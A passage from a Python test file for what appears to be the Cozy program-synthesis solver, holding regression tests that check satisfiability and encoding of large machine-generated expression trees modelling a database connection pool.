TNative('HostAndPort')), ('conn_iface', TNative('ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('Date_t')), ('conn_returned', TNative('Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))), '===', EMapGet(EStateVar(EMakeMap2(EMap(EVar('reqs').with_type(TBag(THandle('Request', TRecord((('rq_expiration', TNative('Date_t')), ('rq_host', TNative('HostAndPort')), ('rq_callback', TNative('std::unique_ptr<ConnectionPool::GetConnectionCallback>'))))))), ELambda(EVar('_var1780').with_type(THandle('Request', TRecord((('rq_expiration', TNative('Date_t')), ('rq_host', TNative('HostAndPort')), ('rq_callback', TNative('std::unique_ptr<ConnectionPool::GetConnectionCallback>')))))), EGetField(EGetField(EVar('_var1780').with_type(THandle('Request', TRecord((('rq_expiration', TNative('Date_t')), ('rq_host', TNative('HostAndPort')), ('rq_callback', TNative('std::unique_ptr<ConnectionPool::GetConnectionCallback>')))))), 'val').with_type(TRecord((('rq_expiration', TNative('Date_t')), ('rq_host', TNative('HostAndPort')), ('rq_callback', TNative('std::unique_ptr<ConnectionPool::GetConnectionCallback>'))))), 'rq_host').with_type(TNative('HostAndPort')))).with_type(TBag(TNative('HostAndPort'))), ELambda(EVar('_var1778').with_type(TNative('HostAndPort')), EUnaryOp('the', EMap(EFilter(EVar('conns').with_type(TBag(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort')), ('conn_iface', TNative('ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('Date_t')), ('conn_returned', TNative('Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))), ELambda(EVar('_var5034').with_type(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort')), ('conn_iface', TNative('ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('Date_t')), ('conn_returned', TNative('Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), EBinOp(EGetField(EGetField(EVar('_var5034').with_type(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort')), ('conn_iface', TNative('ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('Date_t')), ('conn_returned', TNative('Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), 'val').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort')), ('conn_iface', TNative('ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('Date_t')), ('conn_returned', TNative('Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 'conn_host').with_type(TNative('HostAndPort')), '==', EVar('_var1778').with_type(TNative('HostAndPort'))).with_type(TBool()))).with_type(TBag(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort')), ('conn_iface', TNative('ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('Date_t')), ('conn_returned', TNative('Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))), ELambda(EVar('_var5035').with_type(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort')), ('conn_iface', TNative('ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('Date_t')), ('conn_returned', TNative('Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), EFilter(EVar('conns').with_type(TBag(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort')), ('conn_iface', TNative('ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('Date_t')), ('conn_returned', TNative('Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))), ELambda(EVar('c').with_type(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort')), ('conn_iface', TNative('ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('Date_t')), ('conn_returned', TNative('Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), EBinOp(EBinOp(EGetField(EGetField(EVar('c').with_type(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort')), ('conn_iface', TNative('ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('Date_t')), ('conn_returned', TNative('Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), 'val').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort')), ('conn_iface', TNative('ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('Date_t')), ('conn_returned', TNative('Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 'conn_host').with_type(TNative('HostAndPort')), '==', EGetField(EGetField(EVar('_var5035').with_type(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort')), ('conn_iface', TNative('ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('Date_t')), ('conn_returned', TNative('Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), 'val').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort')), ('conn_iface', TNative('ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('Date_t')), ('conn_returned', TNative('Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 'conn_host').with_type(TNative('HostAndPort'))).with_type(TBool()), 'and', EBinOp(EGetField(EGetField(EVar('c').with_type(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort')), ('conn_iface', TNative('ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('Date_t')), ('conn_returned', TNative('Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), 'val').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort')), ('conn_iface', TNative('ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('Date_t')), ('conn_returned', TNative('Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 'conn_state').with_type(TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), '==', EEnumEntry('READY').with_type(TEnum(('READY', 'PROCESSING', 'CHECKED_OUT')))).with_type(TBool())).with_type(TBool()))).with_type(TBag(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort')), ('conn_iface', TNative('ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('Date_t')), ('conn_returned', TNative('Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))))).with_type(TBag(TBag(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort')), ('conn_iface', TNative('ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('Date_t')), ('conn_returned', TNative('Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))))).with_type(TBag(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort')), ('conn_iface', TNative('ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('Date_t')), ('conn_returned', TNative('Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))))).with_type(TMap(TNative('HostAndPort'), TBag(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort')), ('conn_iface', TNative('ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('Date_t')), ('conn_returned', TNative('Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))))).with_type(TMap(TNative('HostAndPort'), TBag(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort')), ('conn_iface', TNative('ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('Date_t')), ('conn_returned', TNative('Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))))), EVar('p').with_type(TNative('HostAndPort'))).with_type(TBag(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort')), ('conn_iface', TNative('ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('Date_t')), ('conn_returned', TNative('Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))))).with_type(TBool())).with_type(TBool()) assert not satisfiable(e, validate_model=True) def test_caching_solver(self): e = EEq(EVar("x").with_type(INT), EVar("y").with_type(INT)) s = ModelCachingSolver(vars=free_vars(e), funcs=()) assert s.satisfiable(e) assert s.satisfiable(e) assert s.calls == 2 assert s.hits == 1 def test_regression26(self): e = EMap(EVar('_tmp639').with_type(TList(TFloat())), ELambda(EVar('x').with_type(TFloat()), EVar('x').with_type(TFloat()))).with_type(TList(TFloat())) v = fresh_var(e.type) check_encoding(EEq(e, v)) def test_regression27(self): e = EUnaryOp('not', EBinOp(EBinOp(EUnaryOp('sum', EMap(EFilter(EVar('xs').with_type(TList(TFloat())), ELambda(EVar('x').with_type(TFloat()), EBinOp(ECall('log', (EBinOp(ENum(1.0).with_type(TFloat()), '+', EVar('x').with_type(TFloat())).with_type(TFloat()),)).with_type(TFloat()), '<', ECall('log', (ENum(1.5).with_type(TFloat()),)).with_type(TFloat())).with_type(TBool()))).with_type(TList(TFloat())), ELambda(EVar('_var633').with_type(TFloat()), ENum(4).with_type(TInt()))).with_type(TBag(TInt()))).with_type(TInt()), '+', ENum(4).with_type(TInt())).with_type(TInt()), '<=', EBinOp(EUnaryOp('sum', EMap(EMap(EFilter(EVar('xs').with_type(TList(TFloat())), ELambda(EVar('x').with_type(TFloat()), EBinOp(ECall('log', (EBinOp(ENum(1.0).with_type(TFloat()), '+', EVar('x').with_type(TFloat())).with_type(TFloat()),)).with_type(TFloat()), '<', ECall('log', (ENum(1.5).with_type(TFloat()),)).with_type(TFloat())).with_type(TBool()))).with_type(TList(TFloat())), ELambda(EVar('x').with_type(TFloat()), EVar('x').with_type(TFloat()))).with_type(TList(TFloat())), ELambda(EVar('_var634').with_type(TFloat()), ENum(4).with_type(TInt()))).with_type(TBag(TInt()))).with_type(TInt()), '+', ENum(4).with_type(TInt())).with_type(TInt())).with_type(TBool())).with_type(TBool()) v = fresh_var(e.type) check_encoding(EEq(e, v)) def test_lambdacache_type_conflict(self): i = IncrementalSolver(validate_model=True) xs = EVar("xs").with_type(INT_BAG) e1 = EMap(xs, ELambda(EVar("x"), EVar("x"))) ys = EVar("ys").with_type(BOOL_BAG) e2 = EMap(ys, ELambda(EVar("x"), EVar("x"))) assert retypecheck(e1) assert retypecheck(e2) for e in (e1, e2): v = fresh_var(e.type) assert i.satisfiable(EEq(e, v)) def test_list_slice(self): e = EListSlice(EVar('xs').with_type(TList(TFloat())), ENum(0).with_type(TInt()), EVar('index').with_type(TInt())).with_type(TList(TFloat())) check_encoding(e) def test_regression28(self): satisfy(EBinOp(EBinOp(EBinOp(EVar('index').with_type(TInt()), '>=', ENum(0).with_type(TInt())).with_type(TBool()), 'and', EBinOp(EVar('index').with_type(TInt()), '<', EUnaryOp('len', EVar('xs').with_type(TList(TFloat()))).with_type(TInt())).with_type(TBool())).with_type(TBool()), 'and', EUnaryOp('not', EBinOp(EBinOp(EListSlice(EStateVar(EVar('xs').with_type(TList(TFloat()))).with_type(TList(TFloat())), ENum(0).with_type(TInt()), EVar('index').with_type(TInt())).with_type(TList(TFloat())), '+', EListSlice(EStateVar(EVar('xs').with_type(TList(TFloat()))).with_type(TList(TFloat())), EBinOp(EVar('index').with_type(TInt()), '+', ENum(1).with_type(TInt())).with_type(TInt()), EStateVar(EUnaryOp('len', EVar('xs').with_type(TList(TFloat()))).with_type(TInt())).with_type(TInt())).with_type(TList(TFloat()))).with_type(TList(TFloat())), '==', EListSlice(EStateVar(EVar('xs').with_type(TList(TFloat()))).with_type(TList(TFloat())), ENum(0).with_type(TInt()), EUnaryOp('-', ENum(1).with_type(TInt())).with_type(TInt())).with_type(TList(TFloat()))).with_type(TBool())).with_type(TBool())).with_type(TBool()), vars=OrderedSet([EVar('xs').with_type(TList(TFloat())), EVar('index').with_type(TInt())]), collection_depth=4, validate_model=True) def test_heap_2ndmin(self): xs = EVar("xs").with_type(INT_BAG) x = EVar("x").with_type(xs.type.t) f = ELambda(x, x) for mkh in (EMakeMinHeap, EMakeMaxHeap): h = mkh(xs, f) e = ENot(EEq(EHeapPeek(h, ELen(xs)), EHeapPeek2(h, ELen(xs)))) assert retypecheck(e) assert satisfiable(e, validate_model=True) def test_to_heap(self): for f in (EArgMin, EArgMax): xs = EVar("xs").with_type(INT_BAG) x = EVar("x").with_type(xs.type.t) e = f(xs, ELambda(x, EUnaryOp("-", x))) assert retypecheck(e) assert valid(EEq(e, EHeapPeek(to_heap(e), ELen(e)).with_type(INT))) def test_regression29(self): satisfy(EUnaryOp('not', EBinOp(EBool(True).with_type(TBool()), '=>', EBinOp(EArgMax(EBinOp(ESingleton(EBinOp(EUnaryOp('sum', EMap(ECond(EBinOp(EMapGet(EMakeMap2(EMap(EVar('xs').with_type(TList(TFloat())), ELambda(EVar('x').with_type(TFloat()), EBinOp(ECall('log', (EBinOp(ENum(1.0).with_type(TFloat()), '+', EVar('x').with_type(TFloat())).with_type(TFloat()),)).with_type(TFloat()), '+', ECall('log', (ENum(1.5).with_type(TFloat()),)).with_type(TFloat())).with_type(TFloat()))).with_type(TList(TFloat())), ELambda(EVar('_var77592').with_type(TFloat()), EUnaryOp('len', EFilter(EMap(EVar('xs').with_type(TList(TFloat())), ELambda(EVar('x').with_type(TFloat()), EBinOp(ECall('log', (EBinOp(ENum(1.0).with_type(TFloat()), '+', EVar('x').with_type(TFloat())).with_type(TFloat()),)).with_type(TFloat()), '+', ECall('log', (ENum(1.5).with_type(TFloat()),)).with_type(TFloat())).with_type(TFloat()))).with_type(TList(TFloat())), ELambda(EVar('_var77593').with_type(TFloat()), EBinOp(EVar('_var77592').with_type(TFloat()), '==', EVar('_var77593').with_type(TFloat())).with_type(TBool()))).with_type(TList(TFloat()))).with_type(TInt()))).with_type(TMap(TFloat(), TInt())), ENum(1.0).with_type(TFloat())).with_type(TInt()), '==', ENum(1).with_type(TInt())).with_type(TBool()), EEmptyList().with_type(TList(TFloat())), ESingleton(ENum(1.0).with_type(TFloat())).with_type(TList(TFloat()))).with_type(TList(TFloat())), ELambda(EVar('_var2195290').with_type(TFloat()), ENum(4).with_type(TInt()))).with_type(TBag(TInt()))).with_type(TInt()), '+', ENum(4).with_type(TInt())).with_type(TInt())).with_type(TBag(TInt())), '+', ESingleton(EBinOp(EUnaryOp('sum', EMap(ECond(EBinOp(EMapGet(EMakeMap2(EMap(EVar('xs').with_type(TList(TFloat())), ELambda(EVar('x').with_type(TFloat()), EBinOp(ECall('log', (EBinOp(ENum(1.0).with_type(TFloat()), '+', EVar('x').with_type(TFloat())).with_type(TFloat()),)).with_type(TFloat()), '+', ECall('log', (ENum(1.5).with_type(TFloat()),)).with_type(TFloat())).with_type(TFloat()))).with_type(TList(TFloat())), ELambda(EVar('_var77592').with_type(TFloat()), EUnaryOp('len', EFilter(EMap(EVar('xs').with_type(TList(TFloat())), ELambda(EVar('x').with_type(TFloat()), EBinOp(ECall('log', (EBinOp(ENum(1.0).with_type(TFloat()), '+', EVar('x').with_type(TFloat())).with_type(TFloat()),)).with_type(TFloat()), '+', ECall('log', (ENum(1.5).with_type(TFloat()),)).with_type(TFloat())).with_type(TFloat()))).with_type(TList(TFloat())), ELambda(EVar('_var77593').with_type(TFloat()), EBinOp(EVar('_var77592').with_type(TFloat()), '==', EVar('_var77593').with_type(TFloat())).with_type(TBool()))).with_type(TList(TFloat()))).with_type(TInt()))).with_type(TMap(TFloat(), TInt())), ENum(1.5).with_type(TFloat())).with_type(TInt()), '==', ENum(1).with_type(TInt())).with_type(TBool()), EEmptyList().with_type(TList(TFloat())), ESingleton(ENum(1.5).with_type(TFloat())).with_type(TList(TFloat()))).with_type(TList(TFloat())), ELambda(EVar('_var2195292').with_type(TFloat()), ENum(4).with_type(TInt()))).with_type(TBag(TInt()))).with_type(TInt()), '+', ENum(4).with_type(TInt())).with_type(TInt())).with_type(TBag(TInt()))).with_type(TBag(TInt())), ELambda(EVar('x').with_type(TInt()), EVar('x').with_type(TInt()))).with_type(TInt()), '>=', EBinOp(EUnaryOp('sum', EMap(ECond(EBinOp(EMapGet(EMakeMap2(EVar('xs').with_type(TList(TFloat())), ELambda(EVar('_var66768').with_type(TFloat()), EUnaryOp('len', EFilter(EVar('xs').with_type(TList(TFloat())), ELambda(EVar('_var66769').with_type(TFloat()), EBinOp(EVar('_var66768').with_type(TFloat()), '==', EVar('_var66769').with_type(TFloat())).with_type(TBool()))).with_type(TList(TFloat()))).with_type(TInt()))).with_type(TMap(TFloat(), TInt())), ENum(1.5).with_type(TFloat())).with_type(TInt()), '==', ENum(1).with_type(TInt())).with_type(TBool()), EEmptyList().with_type(TList(TFloat())), ESingleton(ENum(1.5).with_type(TFloat())).with_type(TList(TFloat()))).with_type(TList(TFloat())), ELambda(EVar('_var2195293').with_type(TFloat()), ENum(4).with_type(TInt()))).with_type(TBag(TInt()))).with_type(TInt()), '+', ENum(4).with_type(TInt())).with_type(TInt())).with_type(TBool())).with_type(TBool())).with_type(TBool()), vars=OrderedSet([EVar('isDropped').with_type(TBool()), EVar('dropped').with_type(TInt()), EVar('xs').with_type(TList(TFloat())), EVar('_var155564').with_type(TFloat()), EVar('_var158099').with_type(TFloat()), EVar('_var159048').with_type(TFloat()), EVar('_var160499').with_type(TFloat()), EVar('x').with_type(TFloat())]), collection_depth=4, validate_model=True) def test_bag_subtraction_encoding_speed(self): e = EBinOp(EBinOp(EUnaryOp('exists', EMap(EFilter(EVar('conns').with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), ELambda(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EBinOp(EGetField(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 'conn_iface').with_type(TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), '==', EVar('i').with_type(TNative('mongo::executor::ConnectionPool::ConnectionInterface*'))).with_type(TBool()))).with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), ELambda(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))).with_type(TList(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))).with_type(TBool()), 'and', EBinOp(EGetField(EUnaryOp('the', EMap(EFilter(EVar('conns').with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), ELambda(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EBinOp(EGetField(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 'conn_iface').with_type(TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), '==', EVar('i').with_type(TNative('mongo::executor::ConnectionPool::ConnectionInterface*'))).with_type(TBool()))).with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), ELambda(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))).with_type(TList(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))).with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 'conn_state').with_type(TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), '!=', EEnumEntry('READY').with_type(TEnum(('READY', 'PROCESSING', 'CHECKED_OUT')))).with_type(TBool())).with_type(TBool()), 'and', EBinOp(EUnaryOp('all', EMap(EVar('conns').with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), ELambda(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EBinOp(EVar('now').with_type(TNative('mongo::Date_t')), '>=', EGetField(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 'conn_returned').with_type(TNative('mongo::Date_t'))).with_type(TBool()))).with_type(TList(TBool()))).with_type(TBool()), 'and', EBinOp(EUnaryOp('len', EBinOp(EBinOp(EBinOp(EMap(EVar('reqs').with_type(TBag(TRecord((('rq_callback', TNative('mongo::executor::ConnectionPool::GetConnectionCallback*')), ('rq_expiration', TNative('mongo::Date_t')), ('rq_host', TNative('mongo::HostAndPort')))))), ELambda(EVar('r').with_type(TRecord((('rq_callback', TNative('mongo::executor::ConnectionPool::GetConnectionCallback*')), ('rq_expiration', TNative('mongo::Date_t')), ('rq_host', TNative('mongo::HostAndPort'))))), EGetField(EVar('r').with_type(TRecord((('rq_callback', TNative('mongo::executor::ConnectionPool::GetConnectionCallback*')), ('rq_expiration', TNative('mongo::Date_t')), ('rq_host', TNative('mongo::HostAndPort'))))), 'rq_expiration').with_type(TNative('mongo::Date_t')))).with_type(TList(TNative('mongo::Date_t'))), '+', EMap(EFilter(EVar('conns').with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), ELambda(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EBinOp(EGetField(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 'conn_state').with_type(TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), '==', EEnumEntry('READY').with_type(TEnum(('READY', 'PROCESSING', 'CHECKED_OUT')))).with_type(TBool()))).with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), ELambda(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EGetField(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 